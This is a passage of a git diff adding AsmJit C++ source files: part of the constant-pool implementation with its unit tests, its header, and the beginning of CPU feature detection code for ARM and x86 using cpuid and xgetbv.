size_t dataSize = _dataSize; + + while (node) { + int c = ::memcmp(node->getData(), data, dataSize); + if (c == 0) + return node; + node = node->_link[c < 0]; + } + + return nullptr; +} + +void ConstPool::Tree::put(ConstPool::Node* newNode) noexcept { + size_t dataSize = _dataSize; + _length++; + + if (!_root) { + _root = newNode; + return; + } + + ConstPool::Node* node = _root; + ConstPool::Node* stack[kHeightLimit]; + + unsigned int top = 0; + unsigned int dir; + + // Find a spot and save the stack. + for (;;) { + stack[top++] = node; + dir = ::memcmp(node->getData(), newNode->getData(), dataSize) < 0; + + ConstPool::Node* link = node->_link[dir]; + if (!link) break; + + node = link; + } + + // Link and rebalance. + node->_link[dir] = newNode; + + while (top > 0) { + // Which child? + node = stack[--top]; + + if (top != 0) { + dir = stack[top - 1]->_link[1] == node; + } + + node = ConstPoolTree_skewNode(node); + node = ConstPoolTree_splitNode(node); + + // Fix the parent. + if (top != 0) + stack[top - 1]->_link[dir] = node; + else + _root = node; + } +} + +// ============================================================================ +// [asmjit::ConstPool - Construction / Destruction] +// ============================================================================ + +ConstPool::ConstPool(Zone* zone) noexcept { reset(zone); } +ConstPool::~ConstPool() noexcept {} + +// ============================================================================ +// [asmjit::ConstPool - Reset] +// ============================================================================ + +void ConstPool::reset(Zone* zone) noexcept { + _zone = zone; + + size_t dataSize = 1; + for (size_t i = 0; i < ASMJIT_ARRAY_SIZE(_tree); i++) { + _tree[i].reset(); + _tree[i].setDataSize(dataSize); + _gaps[i] = nullptr; + dataSize <<= 1; + } + + _gapPool = nullptr; + _size = 0; + _alignment = 0; +} + +// ============================================================================ +// [asmjit::ConstPool - Ops] +// ============================================================================ + +static ASMJIT_INLINE ConstPool::Gap* ConstPool_allocGap(ConstPool* self) noexcept { + ConstPool::Gap* gap = self->_gapPool; + if (!gap) return self->_zone->allocT(); + + self->_gapPool = gap->_next; + return gap; +} + +static ASMJIT_INLINE void ConstPool_freeGap(ConstPool* self, ConstPool::Gap* gap) noexcept { + gap->_next = self->_gapPool; + self->_gapPool = gap; +} + +static void ConstPool_addGap(ConstPool* self, size_t offset, size_t length) noexcept { + ASMJIT_ASSERT(length > 0); + + while (length > 0) { + size_t gapIndex; + size_t gapLength; + + gapIndex = ConstPool::kIndex16; + if (length >= 16 && Utils::isAligned(offset, 16)) { + gapLength = 16; + } + else if (length >= 8 && Utils::isAligned(offset, 8)) { + gapIndex = ConstPool::kIndex8; + gapLength = 8; + } + else if (length >= 4 && Utils::isAligned(offset, 4)) { + gapIndex = ConstPool::kIndex4; + gapLength = 4; + } + else if (length >= 2 && Utils::isAligned(offset, 2)) { + gapIndex = ConstPool::kIndex2; + gapLength = 2; + } + else { + gapIndex = ConstPool::kIndex1; + gapLength = 1; + } + + // We don't have to check for errors here, if this failed nothing really + // happened (just the gap won't be visible) and it will fail again at + // place where checking will cause kErrorNoHeapMemory. + ConstPool::Gap* gap = ConstPool_allocGap(self); + if (!gap) return; + + gap->_next = self->_gaps[gapIndex]; + self->_gaps[gapIndex] = gap; + + gap->_offset = offset; + gap->_length = gapLength; + + offset += gapLength; + length -= gapLength; + } +} + +Error ConstPool::add(const void* data, size_t size, size_t& dstOffset) noexcept { + size_t treeIndex; + + if (size == 32) + treeIndex = kIndex32; + else if (size == 16) + treeIndex = kIndex16; + else if (size == 8) + treeIndex = kIndex8; + else if (size == 4) + treeIndex = kIndex4; + else if (size == 2) + treeIndex = kIndex2; + else if (size == 1) + treeIndex = kIndex1; + else + return DebugUtils::errored(kErrorInvalidArgument); + + ConstPool::Node* node = _tree[treeIndex].get(data); + if (node) { + dstOffset = node->_offset; + return kErrorOk; + } + + // Before incrementing the current offset try if there is a gap that can + // be used for the requested data. + size_t offset = ~static_cast(0); + size_t gapIndex = treeIndex; + + while (gapIndex != kIndexCount - 1) { + ConstPool::Gap* gap = _gaps[treeIndex]; + + // Check if there is a gap. + if (gap) { + size_t gapOffset = gap->_offset; + size_t gapLength = gap->_length; + + // Destroy the gap for now. + _gaps[treeIndex] = gap->_next; + ConstPool_freeGap(this, gap); + + offset = gapOffset; + ASMJIT_ASSERT(Utils::isAligned(offset, size)); + + gapLength -= size; + if (gapLength > 0) + ConstPool_addGap(this, gapOffset, gapLength); + } + + gapIndex++; + } + + if (offset == ~static_cast(0)) { + // Get how many bytes have to be skipped so the address is aligned accordingly + // to the 'size'. + size_t diff = Utils::alignDiff(_size, size); + + if (diff != 0) { + ConstPool_addGap(this, _size, diff); + _size += diff; + } + + offset = _size; + _size += size; + } + + // Add the initial node to the right index. + node = ConstPool::Tree::_newNode(_zone, data, size, offset, false); + if (!node) return DebugUtils::errored(kErrorNoHeapMemory); + + _tree[treeIndex].put(node); + _alignment = std::max(_alignment, size); + + dstOffset = offset; + + // Now create a bunch of shared constants that are based on the data pattern. + // We stop at size 4, it probably doesn't make sense to split constants down + // to 1 byte. + size_t pCount = 1; + while (size > 4) { + size >>= 1; + pCount <<= 1; + + ASMJIT_ASSERT(treeIndex != 0); + treeIndex--; + + const uint8_t* pData = static_cast(data); + for (size_t i = 0; i < pCount; i++, pData += size) { + node = _tree[treeIndex].get(pData); + if (node) continue; + + node = ConstPool::Tree::_newNode(_zone, pData, size, offset + (i * size), true); + _tree[treeIndex].put(node); + } + } + + return kErrorOk; +} + +// ============================================================================ +// [asmjit::ConstPool - Reset] +// ============================================================================ + +struct ConstPoolFill { + ASMJIT_INLINE ConstPoolFill(uint8_t* dst, size_t dataSize) noexcept : + _dst(dst), + _dataSize(dataSize) {} + + ASMJIT_INLINE void visit(const ConstPool::Node* node) noexcept { + if (!node->_shared) + ::memcpy(_dst + node->_offset, node->getData(), _dataSize); + } + + uint8_t* _dst; + size_t _dataSize; +}; + +void ConstPool::fill(void* dst) const noexcept { + // Clears possible gaps, asmjit should never emit garbage to the output. + ::memset(dst, 0, _size); + + ConstPoolFill filler(static_cast(dst), 1); + for (size_t i = 0; i < ASMJIT_ARRAY_SIZE(_tree); i++) { + _tree[i].iterate(filler); + filler._dataSize <<= 1; + } +} + +// ============================================================================ +// [asmjit::ConstPool - Test] +// ============================================================================ + +#if defined(ASMJIT_TEST) +UNIT(base_constpool) { + Zone zone(32384 - Zone::kZoneOverhead); + ConstPool pool(&zone); + + uint32_t i; + uint32_t kCount = 1000000; + + INFO("Adding %u constants to the pool.", kCount); + { + size_t prevOffset; + size_t curOffset; + uint64_t c = ASMJIT_UINT64_C(0x0101010101010101); + + EXPECT(pool.add(&c, 8, prevOffset) == kErrorOk, + "pool.add() - Returned error"); + EXPECT(prevOffset == 0, + "pool.add() - First constant should have zero offset"); + + for (i = 1; i < kCount; i++) { + c++; + EXPECT(pool.add(&c, 8, curOffset) == kErrorOk, + "pool.add() - Returned error"); + EXPECT(prevOffset + 8 == curOffset, + "pool.add() - Returned incorrect curOffset"); + EXPECT(pool.getSize() == (i + 1) * 8, + "pool.getSize() - Reported incorrect size"); + prevOffset = curOffset; + } + + EXPECT(pool.getAlignment() == 8, + "pool.getAlignment() - Expected 8-byte alignment"); + } + + INFO("Retrieving %u constants from the pool.", kCount); + { + uint64_t c = ASMJIT_UINT64_C(0x0101010101010101); + + for (i = 0; i < kCount; i++) { + size_t offset; + EXPECT(pool.add(&c, 8, offset) == kErrorOk, + "pool.add() - Returned error"); + EXPECT(offset == i * 8, + "pool.add() - Should have reused constant"); + c++; + } + } + + INFO("Checking if the constants were split into 4-byte patterns"); + { + uint32_t c = 0x01010101; + for (i = 0; i < kCount; i++) { + size_t offset; + EXPECT(pool.add(&c, 4, offset) == kErrorOk, + "pool.add() - Returned error"); + EXPECT(offset == i * 8, + "pool.add() - Should reuse existing constant"); + c++; + } + } + + INFO("Adding 2 byte constant to misalign the current offset"); + { + uint16_t c = 0xFFFF; + size_t offset; + + EXPECT(pool.add(&c, 2, offset) == kErrorOk, + "pool.add() - Returned error"); + EXPECT(offset == kCount * 8, + "pool.add() - Didn't return expected position"); + EXPECT(pool.getAlignment() == 8, + "pool.getAlignment() - Expected 8-byte alignment"); + } + + INFO("Adding 8 byte constant to check if pool gets aligned again"); + { + uint64_t c = ASMJIT_UINT64_C(0xFFFFFFFFFFFFFFFF); + size_t offset; + + EXPECT(pool.add(&c, 8, offset) == kErrorOk, + "pool.add() - Returned error"); + EXPECT(offset == kCount * 8 + 8, + "pool.add() - Didn't return aligned offset"); + } + + INFO("Adding 2 byte constant to verify the gap is filled"); + { + uint16_t c = 0xFFFE; + size_t offset; + + EXPECT(pool.add(&c, 2, offset) == kErrorOk, + "pool.add() - Returned error"); + EXPECT(offset == kCount * 8 + 2, + "pool.add() - Didn't fill the gap"); + EXPECT(pool.getAlignment() == 8, + "pool.getAlignment() - Expected 8-byte alignment"); + } + + INFO("Checking reset functionality"); + { + pool.reset(&zone); + zone.reset(); + + EXPECT(pool.getSize() == 0, + "pool.getSize() - Expected pool size to be zero"); + EXPECT(pool.getAlignment() == 0, + "pool.getSize() - Expected pool alignment to be zero"); + } + + INFO("Checking pool alignment when combined constants are added"); + { + uint8_t bytes[32] = { 0 }; + size_t offset; + + pool.add(bytes, 1, offset); + + EXPECT(pool.getSize() == 1, + "pool.getSize() - Expected pool size to be 1 byte"); + EXPECT(pool.getAlignment() == 1, + "pool.getSize() - Expected pool alignment to be 1 byte"); + EXPECT(offset == 0, + "pool.getSize() - Expected offset returned to be zero"); + + pool.add(bytes, 2, offset); + + EXPECT(pool.getSize() == 4, + "pool.getSize() - Expected pool size to be 4 bytes"); + EXPECT(pool.getAlignment() == 2, + "pool.getSize() - Expected pool alignment to be 2 bytes"); + EXPECT(offset == 2, + "pool.getSize() - Expected offset returned to be 2"); + + pool.add(bytes, 4, offset); + + EXPECT(pool.getSize() == 8, + "pool.getSize() - Expected pool size to be 8 bytes"); + EXPECT(pool.getAlignment() == 4, + "pool.getSize() - Expected pool alignment to be 4 bytes"); + EXPECT(offset == 4, + "pool.getSize() - Expected offset returned to be 4"); + + pool.add(bytes, 4, offset); + + EXPECT(pool.getSize() == 8, + "pool.getSize() - Expected pool size to be 8 bytes"); + EXPECT(pool.getAlignment() == 4, + "pool.getSize() - Expected pool alignment to be 4 bytes"); + EXPECT(offset == 4, + "pool.getSize() - Expected offset returned to be 8"); + + pool.add(bytes, 32, offset); + EXPECT(pool.getSize() == 64, + "pool.getSize() - Expected pool size to be 64 bytes"); + EXPECT(pool.getAlignment() == 32, + "pool.getSize() - Expected pool alignment to be 32 bytes"); + EXPECT(offset == 32, + "pool.getSize() - Expected offset returned to be 32"); + } +} +#endif // ASMJIT_TEST + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" diff --git a/asmjit/src/asmjit/base/constpool.h b/asmjit/src/asmjit/base/constpool.h new file mode 100644 index 0000000..945ea64 --- /dev/null +++ b/asmjit/src/asmjit/base/constpool.h @@ -0,0 +1,257 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#ifndef _ASMJIT_BASE_CONSTPOOL_H +#define _ASMJIT_BASE_CONSTPOOL_H + +// [Dependencies] +#include "../base/zone.h" + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +//! \addtogroup asmjit_base +//! \{ + +// ============================================================================ +// [asmjit::ConstPool] +// ============================================================================ + +//! Constant pool. +class ConstPool { +public: + ASMJIT_NONCOPYABLE(ConstPool) + + enum { + kIndex1 = 0, + kIndex2 = 1, + kIndex4 = 2, + kIndex8 = 3, + kIndex16 = 4, + kIndex32 = 5, + kIndexCount = 6 + }; + + // -------------------------------------------------------------------------- + // [Gap] + // -------------------------------------------------------------------------- + + //! \internal + //! + //! Zone-allocated const-pool gap. + struct Gap { + Gap* _next; //!< Pointer to the next gap + size_t _offset; //!< Offset of the gap. + size_t _length; //!< Remaining bytes of the gap (basically a gap size). + }; + + // -------------------------------------------------------------------------- + // [Node] + // -------------------------------------------------------------------------- + + //! \internal + //! + //! Zone-allocated const-pool node. + struct Node { + ASMJIT_INLINE void* getData() const noexcept { + return static_cast(const_cast(this) + 1); + } + + Node* _link[2]; //!< Left/Right nodes. + uint32_t _level : 31; //!< Horizontal level for balance. + uint32_t _shared : 1; //!< If this constant is shared with another. + uint32_t _offset; //!< Data offset from the beginning of the pool. + }; + + // -------------------------------------------------------------------------- + // [Tree] + // -------------------------------------------------------------------------- + + //! \internal + //! + //! Zone-allocated const-pool tree. + struct Tree { + enum { + //! Maximum tree height == log2(1 << 64). + kHeightLimit = 64 + }; + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE Tree(size_t dataSize = 0) noexcept + : _root(nullptr), + _length(0), + _dataSize(dataSize) {} + ASMJIT_INLINE ~Tree() {} + + // -------------------------------------------------------------------------- + // [Reset] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE void reset() noexcept { + _root = nullptr; + _length = 0; + } + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE bool isEmpty() const noexcept { return _length == 0; } + ASMJIT_INLINE size_t getLength() const noexcept { return _length; } + + ASMJIT_INLINE void setDataSize(size_t dataSize) noexcept { + ASMJIT_ASSERT(isEmpty()); + _dataSize = dataSize; + } + + // -------------------------------------------------------------------------- + // [Ops] + // -------------------------------------------------------------------------- + + ASMJIT_API Node* get(const void* data) noexcept; + ASMJIT_API void put(Node* node) noexcept; + + // -------------------------------------------------------------------------- + // [Iterate] + // -------------------------------------------------------------------------- + + template + ASMJIT_INLINE void iterate(Visitor& visitor) const noexcept { + Node* node = const_cast(_root); + if (!node) return; + + Node* stack[kHeightLimit]; + size_t top = 0; + + for (;;) { + Node* left = node->_link[0]; + if (left != nullptr) { + ASMJIT_ASSERT(top != kHeightLimit); + stack[top++] = node; + + node = left; + continue; + } + +Visit: + visitor.visit(node); + node = node->_link[1]; + if (node != nullptr) + continue; + + if (top == 0) + return; + + node = stack[--top]; + goto Visit; + } + } + + // -------------------------------------------------------------------------- + // [Helpers] + // -------------------------------------------------------------------------- + + static ASMJIT_INLINE Node* _newNode(Zone* zone, const void* data, size_t size, size_t offset, bool shared) noexcept { + Node* node = zone->allocT(sizeof(Node) + size); + if (ASMJIT_UNLIKELY(!node)) return nullptr; + + node->_link[0] = nullptr; + node->_link[1] = nullptr; + node->_level = 1; + node->_shared = shared; + node->_offset = static_cast(offset); + + ::memcpy(node->getData(), data, size); + return node; + } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + Node* _root; //!< Root of the tree + size_t _length; //!< Length of the tree (count of nodes). + size_t _dataSize; //!< Size of the data. + }; + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + ASMJIT_API ConstPool(Zone* zone) noexcept; + ASMJIT_API ~ConstPool() noexcept; + + // -------------------------------------------------------------------------- + // [Reset] + // -------------------------------------------------------------------------- + + ASMJIT_API void reset(Zone* zone) noexcept; + + // -------------------------------------------------------------------------- + // [Ops] + // -------------------------------------------------------------------------- + + //! Get whether the constant-pool is empty. + ASMJIT_INLINE bool isEmpty() const noexcept { return _size == 0; } + //! Get the size of the constant-pool in bytes. + ASMJIT_INLINE size_t getSize() const noexcept { return _size; } + //! Get minimum alignment. + ASMJIT_INLINE size_t getAlignment() const noexcept { return _alignment; } + + //! Add a constant to the constant pool. + //! + //! The constant must have known size, which is 1, 2, 4, 8, 16 or 32 bytes. + //! The constant is added to the pool only if it doesn't not exist, otherwise + //! cached value is returned. + //! + //! AsmJit is able to subdivide added constants, so for example if you add + //! 8-byte constant 0x1122334455667788 it will create the following slots: + //! + //! 8-byte: 0x1122334455667788 + //! 4-byte: 0x11223344, 0x55667788 + //! + //! The reason is that when combining MMX/SSE/AVX code some patterns are used + //! frequently. However, AsmJit is not able to reallocate a constant that has + //! been already added. For example if you try to add 4-byte constant and then + //! 8-byte constant having the same 4-byte pattern as the previous one, two + //! independent slots will be generated by the pool. + ASMJIT_API Error add(const void* data, size_t size, size_t& dstOffset) noexcept; + + // -------------------------------------------------------------------------- + // [Fill] + // -------------------------------------------------------------------------- + + //! Fill the destination with the constants from the pool. + ASMJIT_API void fill(void* dst) const noexcept; + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + Zone* _zone; //!< Zone allocator. + Tree _tree[kIndexCount]; //!< Tree per size. + Gap* _gaps[kIndexCount]; //!< Gaps per size. + Gap* _gapPool; //!< Gaps pool + + size_t _size; //!< Size of the pool (in bytes). + size_t _alignment; //!< Required pool alignment. +}; + +//! \} + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" + +// [Guard] +#endif // _ASMJIT_BASE_CONSTPOOL_H diff --git a/asmjit/src/asmjit/base/cpuinfo.cpp b/asmjit/src/asmjit/base/cpuinfo.cpp new file mode 100644 index 0000000..c842173 --- /dev/null +++ b/asmjit/src/asmjit/base/cpuinfo.cpp @@ -0,0 +1,674 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Export] +#define ASMJIT_EXPORTS + +// [Dependencies] +#include "../base/cpuinfo.h" +#include "../base/utils.h" + +#if ASMJIT_OS_POSIX +# include +# include +# include +#endif // ASMJIT_OS_POSIX + +#if ASMJIT_ARCH_X86 || ASMJIT_ARCH_X64 +# if ASMJIT_CC_MSC_GE(14, 0, 0) + # include // Required by `__cpuid()` and `_xgetbv()`. +# endif // _MSC_VER >= 1400 +#endif + +#if ASMJIT_ARCH_ARM32 || ASMJIT_ARCH_ARM64 +# if ASMJIT_OS_LINUX +# include // Required by `getauxval()`. +# endif +#endif + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +// ============================================================================ +// [asmjit::CpuInfo - Detect ARM] +// ============================================================================ + +// ARM information has to be retrieved by the OS (this is how ARM was designed). +#if ASMJIT_ARCH_ARM32 || ASMJIT_ARCH_ARM64 + +#if ASMJIT_ARCH_ARM32 +static ASMJIT_INLINE void armPopulateBaselineA32Features(CpuInfo* cpuInfo) noexcept { + cpuInfo->_archInfo.init(ArchInfo::kTypeA32); +} +#endif // ASMJIT_ARCH_ARM32 + +#if ASMJIT_ARCH_ARM64 +static ASMJIT_INLINE void armPopulateBaselineA64Features(CpuInfo* cpuInfo) noexcept { + cpuInfo->_archInfo.init(ArchInfo::kTypeA64); + + // Thumb (including all variations) is supported on A64 (but not accessible from A64). + cpuInfo->addFeature(CpuInfo::kArmFeatureTHUMB); + cpuInfo->addFeature(CpuInfo::kArmFeatureTHUMB2); + + // A64 is based on ARMv8 and newer. + cpuInfo->addFeature(CpuInfo::kArmFeatureV6); + cpuInfo->addFeature(CpuInfo::kArmFeatureV7); + cpuInfo->addFeature(CpuInfo::kArmFeatureV8); + + // A64 comes with these features by default. + cpuInfo->addFeature(CpuInfo::kArmFeatureVFPv2); + cpuInfo->addFeature(CpuInfo::kArmFeatureVFPv3); + cpuInfo->addFeature(CpuInfo::kArmFeatureVFPv4); + cpuInfo->addFeature(CpuInfo::kArmFeatureEDSP); + cpuInfo->addFeature(CpuInfo::kArmFeatureASIMD); + cpuInfo->addFeature(CpuInfo::kArmFeatureIDIVA); + cpuInfo->addFeature(CpuInfo::kArmFeatureIDIVT); +} +#endif // ASMJIT_ARCH_ARM64 + +#if ASMJIT_OS_WINDOWS +//! \internal +//! +//! Detect ARM CPU features on Windows. +//! +//! The detection is based on `IsProcessorFeaturePresent()` API call. +static ASMJIT_INLINE void armDetectCpuInfoOnWindows(CpuInfo* cpuInfo) noexcept { +#if ASMJIT_ARCH_ARM32 + armPopulateBaselineA32Features(cpuInfo); + + // Windows for ARM requires at least ARMv7 with DSP extensions. + cpuInfo->addFeature(CpuInfo::kArmFeatureV6); + cpuInfo->addFeature(CpuInfo::kArmFeatureV7); + cpuInfo->addFeature(CpuInfo::kArmFeatureEDSP); + + // Windows for ARM requires VFPv3. + cpuInfo->addFeature(CpuInfo::kArmFeatureVFPv2); + cpuInfo->addFeature(CpuInfo::kArmFeatureVFPv3); + + // Windows for ARM requires and uses THUMB2. + cpuInfo->addFeature(CpuInfo::kArmFeatureTHUMB); + cpuInfo->addFeature(CpuInfo::kArmFeatureTHUMB2); +#else + armPopulateBaselineA64Features(cpuInfo); +#endif + + // Windows for ARM requires ASIMD. + cpuInfo->addFeature(CpuInfo::kArmFeatureASIMD); + + // Detect additional CPU features by calling `IsProcessorFeaturePresent()`. + struct WinPFPMapping { + uint32_t pfpId; + uint32_t featureId; + }; + + static const WinPFPMapping mapping[] = { + { PF_ARM_FMAC_INSTRUCTIONS_AVAILABLE , CpuInfo::kArmFeatureVFPv4 }, + { PF_ARM_VFP_32_REGISTERS_AVAILABLE , CpuInfo::kArmFeatureVFP_D32 }, + { PF_ARM_DIVIDE_INSTRUCTION_AVAILABLE, CpuInfo::kArmFeatureIDIVT }, + { PF_ARM_64BIT_LOADSTORE_ATOMIC , CpuInfo::kArmFeatureAtomics64 } + }; + + for (uint32_t i = 0; i < ASMJIT_ARRAY_SIZE(mapping); i++) + if (::IsProcessorFeaturePresent(mapping[i].pfpId)) + cpuInfo->addFeature(mapping[i].featureId); +} +#endif // ASMJIT_OS_WINDOWS + +#if ASMJIT_OS_LINUX +struct LinuxHWCapMapping { + uint32_t hwcapMask; + uint32_t featureId; +}; + +static void armDetectHWCaps(CpuInfo* cpuInfo, unsigned long type, const LinuxHWCapMapping* mapping, size_t length) noexcept { + unsigned long mask = getauxval(type); + + for (size_t i = 0; i < length; i++) + if ((mask & mapping[i].hwcapMask) == mapping[i].hwcapMask) + cpuInfo->addFeature(mapping[i].featureId); +} + +//! \internal +//! +//! Detect ARM CPU features on Linux. +//! +//! The detection is based on `getauxval()`. +ASMJIT_FAVOR_SIZE static void armDetectCpuInfoOnLinux(CpuInfo* cpuInfo) noexcept { +#if ASMJIT_ARCH_ARM32 + armPopulateBaselineA32Features(cpuInfo); + + // `AT_HWCAP` provides ARMv7 (and less) related flags. + static const LinuxHWCapMapping hwCapMapping[] = { + { /* HWCAP_VFP */ (1 << 6), CpuInfo::kArmFeatureVFPv2 }, + { /* HWCAP_EDSP */ (1 << 7), CpuInfo::kArmFeatureEDSP }, + { /* HWCAP_NEON */ (1 << 12), CpuInfo::kArmFeatureASIMD }, + { /* HWCAP_VFPv3 */ (1 << 13), CpuInfo::kArmFeatureVFPv3 }, + { /* HWCAP_VFPv4 */ (1 << 16), CpuInfo::kArmFeatureVFPv4 }, + { /* HWCAP_IDIVA */ (1 << 17), CpuInfo::kArmFeatureIDIVA }, + { /* HWCAP_IDIVT */ (1 << 18), CpuInfo::kArmFeatureIDIVT }, + { /* HWCAP_VFPD32 */ (1 << 19), CpuInfo::kArmFeatureVFP_D32 } + }; + armDetectHWCaps(cpuInfo, AT_HWCAP, hwCapMapping, ASMJIT_ARRAY_SIZE(hwCapMapping)); + + // VFPv3 implies VFPv2. + if (cpuInfo->hasFeature(CpuInfo::kArmFeatureVFPv3)) { + cpuInfo->addFeature(CpuInfo::kArmFeatureVFPv2); + } + + // VFPv2 implies ARMv6. + if (cpuInfo->hasFeature(CpuInfo::kArmFeatureVFPv2)) { + cpuInfo->addFeature(CpuInfo::kArmFeatureV6); + } + + // VFPv3 or ASIMD implies ARMv7. + if (cpuInfo->hasFeature(CpuInfo::kArmFeatureVFPv3) || + cpuInfo->hasFeature(CpuInfo::kArmFeatureASIMD)) { + cpuInfo->addFeature(CpuInfo::kArmFeatureV7); + } + + // `AT_HWCAP2` provides ARMv8+ related flags. + static const LinuxHWCapMapping hwCap2Mapping[] = { + { /* HWCAP2_AES */ (1 << 0), CpuInfo::kArmFeatureAES }, + { /* HWCAP2_PMULL */ (1 << 1), CpuInfo::kArmFeaturePMULL }, + { /* HWCAP2_SHA1 */ (1 << 2), CpuInfo::kArmFeatureSHA1 }, + { /* HWCAP2_SHA2 */ (1 << 3), CpuInfo::kArmFeatureSHA256 }, + { /* HWCAP2_CRC32 */ (1 << 4), CpuInfo::kArmFeatureCRC32 } + }; + armDetectHWCaps(cpuInfo, AT_HWCAP2, hwCap2Mapping, ASMJIT_ARRAY_SIZE(hwCap2Mapping)); + + if (cpuInfo->hasFeature(CpuInfo::kArmFeatureAES ) || + cpuInfo->hasFeature(CpuInfo::kArmFeatureCRC32 ) || + cpuInfo->hasFeature(CpuInfo::kArmFeaturePMULL ) || + cpuInfo->hasFeature(CpuInfo::kArmFeatureSHA1 ) || + cpuInfo->hasFeature(CpuInfo::kArmFeatureSHA256)) { + cpuInfo->addFeature(CpuInfo::kArmFeatureV8); + } +#else + armPopulateBaselineA64Features(cpuInfo); + + // `AT_HWCAP` provides ARMv8+ related flags. + static const LinuxHWCapMapping hwCapMapping[] = { + { /* HWCAP_ASIMD */ (1 << 1), CpuInfo::kArmFeatureASIMD }, + { /* HWCAP_AES */ (1 << 3), CpuInfo::kArmFeatureAES }, + { /* HWCAP_CRC32 */ (1 << 7), CpuInfo::kArmFeatureCRC32 }, + { /* HWCAP_PMULL */ (1 << 4), CpuInfo::kArmFeaturePMULL }, + { /* HWCAP_SHA1 */ (1 << 5), CpuInfo::kArmFeatureSHA1 }, + { /* HWCAP_SHA2 */ (1 << 6), CpuInfo::kArmFeatureSHA256 }, + { /* HWCAP_ATOMICS */ (1 << 8), CpuInfo::kArmFeatureAtomics64 } + }; + armDetectHWCaps(cpuInfo, AT_HWCAP, hwCapMapping, ASMJIT_ARRAY_SIZE(hwCapMapping)); + + // `AT_HWCAP2` is not used at the moment. +#endif +} +#endif // ASMJIT_OS_LINUX + +ASMJIT_FAVOR_SIZE static void armDetectCpuInfo(CpuInfo* cpuInfo) noexcept { +#if ASMJIT_OS_WINDOWS + armDetectCpuInfoOnWindows(cpuInfo); +#elif ASMJIT_OS_LINUX + armDetectCpuInfoOnLinux(cpuInfo); +#else +# error "[asmjit] armDetectCpuInfo() - Unsupported OS." +#endif +} +#endif // ASMJIT_ARCH_ARM32 || ASMJIT_ARCH_ARM64 + +// ============================================================================ +// [asmjit::CpuInfo - Detect X86] +// ============================================================================ + +#if ASMJIT_ARCH_X86 || ASMJIT_ARCH_X64 + +//! \internal +//! +//! X86 CPUID result. +struct CpuIdResult { + uint32_t eax, ebx, ecx, edx; +}; + +//! \internal +//! +//! Content of XCR register, result of XGETBV instruction. +struct XGetBVResult { + uint32_t eax, edx; +}; + +#if ASMJIT_CC_MSC && !ASMJIT_CC_MSC_GE(15, 0, 30729) && ASMJIT_ARCH_X64 +//! \internal +//! +//! HACK: VS2008 or less, 64-bit mode - `__cpuidex` doesn't exist! However, +//! 64-bit calling convention specifies the first parameter to be passed by +//! ECX, so we may be lucky if compiler doesn't move the register, otherwise +//! the result would be wrong. +static void ASMJIT_NOINLINE void x86CallCpuIdWorkaround(uint32_t inEcx, uint32_t inEax, CpuIdResult* result) noexcept { + __cpuid(reinterpret_cast(result), inEax); +} +#endif + +//! \internal +//! +//! Wrapper to call `cpuid` instruction. +static void ASMJIT_INLINE x86CallCpuId(CpuIdResult* result, uint32_t inEax, uint32_t inEcx = 0) noexcept { +#if ASMJIT_CC_MSC && ASMJIT_CC_MSC_GE(15, 0, 30729) + __cpuidex(reinterpret_cast(result), inEax, inEcx); +#elif ASMJIT_CC_MSC && ASMJIT_ARCH_X64 + x86CallCpuIdWorkaround(inEcx, inEax, result); +#elif ASMJIT_CC_MSC && ASMJIT_ARCH_X86 + uint32_t paramEax = inEax; + uint32_t paramEcx = inEcx; + uint32_t* out = reinterpret_cast(result); + + __asm { + mov eax, paramEax + mov ecx, paramEcx + mov edi, out + cpuid + mov dword ptr[edi + 0], eax + mov dword ptr[edi + 4], ebx + mov dword ptr[edi + 8], ecx + mov dword ptr[edi + 12], edx + } +#elif (ASMJIT_CC_GCC || ASMJIT_CC_CLANG) && ASMJIT_ARCH_X86 + __asm__ __volatile__( + "mov %%ebx, %%edi\n" + "cpuid\n" + "xchg %%edi, %%ebx\n" + : "=a"(result->eax), + "=D"(result->ebx), + "=c"(result->ecx), + "=d"(result->edx) + : "a"(inEax), + "c"(inEcx)); +#elif (ASMJIT_CC_GCC || ASMJIT_CC_CLANG || ASMJIT_CC_INTEL) && ASMJIT_ARCH_X64 + __asm__ __volatile__( + "mov %%rbx, %%rdi\n" + "cpuid\n" + "xchg %%rdi, %%rbx\n" + : "=a"(result->eax), + "=D"(result->ebx), + "=c"(result->ecx), + "=d"(result->edx) + : "a"(inEax), + "c"(inEcx)); +#else +# error "[asmjit] x86CallCpuid() - Unsupported compiler." +#endif +} + +//! \internal +//! +//! Wrapper to call `xgetbv` instruction. +static ASMJIT_INLINE void x86CallXGetBV(XGetBVResult* result, uint32_t inEcx) noexcept { +#if ASMJIT_CC_MSC_GE(16, 0, 40219) // 2010SP1+ + uint64_t value = _xgetbv(inEcx); + result->eax = static_cast(value & 0xFFFFFFFFU); + result->edx = static_cast(value >> 32); +#elif ASMJIT_CC_GCC || ASMJIT_CC_CLANG + uint32_t outEax; + uint32_t outEdx; + + // Replaced, because the world is not perfect: + // __asm__ __volatile__("xgetbv" : "=a"(outEax), "=d"(outEdx) : "c"(inEcx)); + __asm__ __volatile__(".byte 0x0F, 0x01, 0xd0" : "=a"(outEax), "=d"(outEdx) : "c"(inEcx)); + + result->eax = outEax; + result->edx = outEdx; +#else + result->eax = 0; + result->edx = 0; +#endif +} + +//! \internal +//! +//! Map a 12-byte vendor string returned by `cpuid` into a `CpuInfo::Vendor` ID. +static ASMJIT_INLINE uint32_t x86GetCpuVendorID(const char* vendorString) noexcept { + struct VendorData { + uint32_t id; + char text[12]; + }; + + static const VendorData vendorList[] = { + { CpuInfo::kVendorIntel , { 'G', 'e', 'n', 'u', 'i', 'n', 'e', 'I', 'n', 't', 'e', 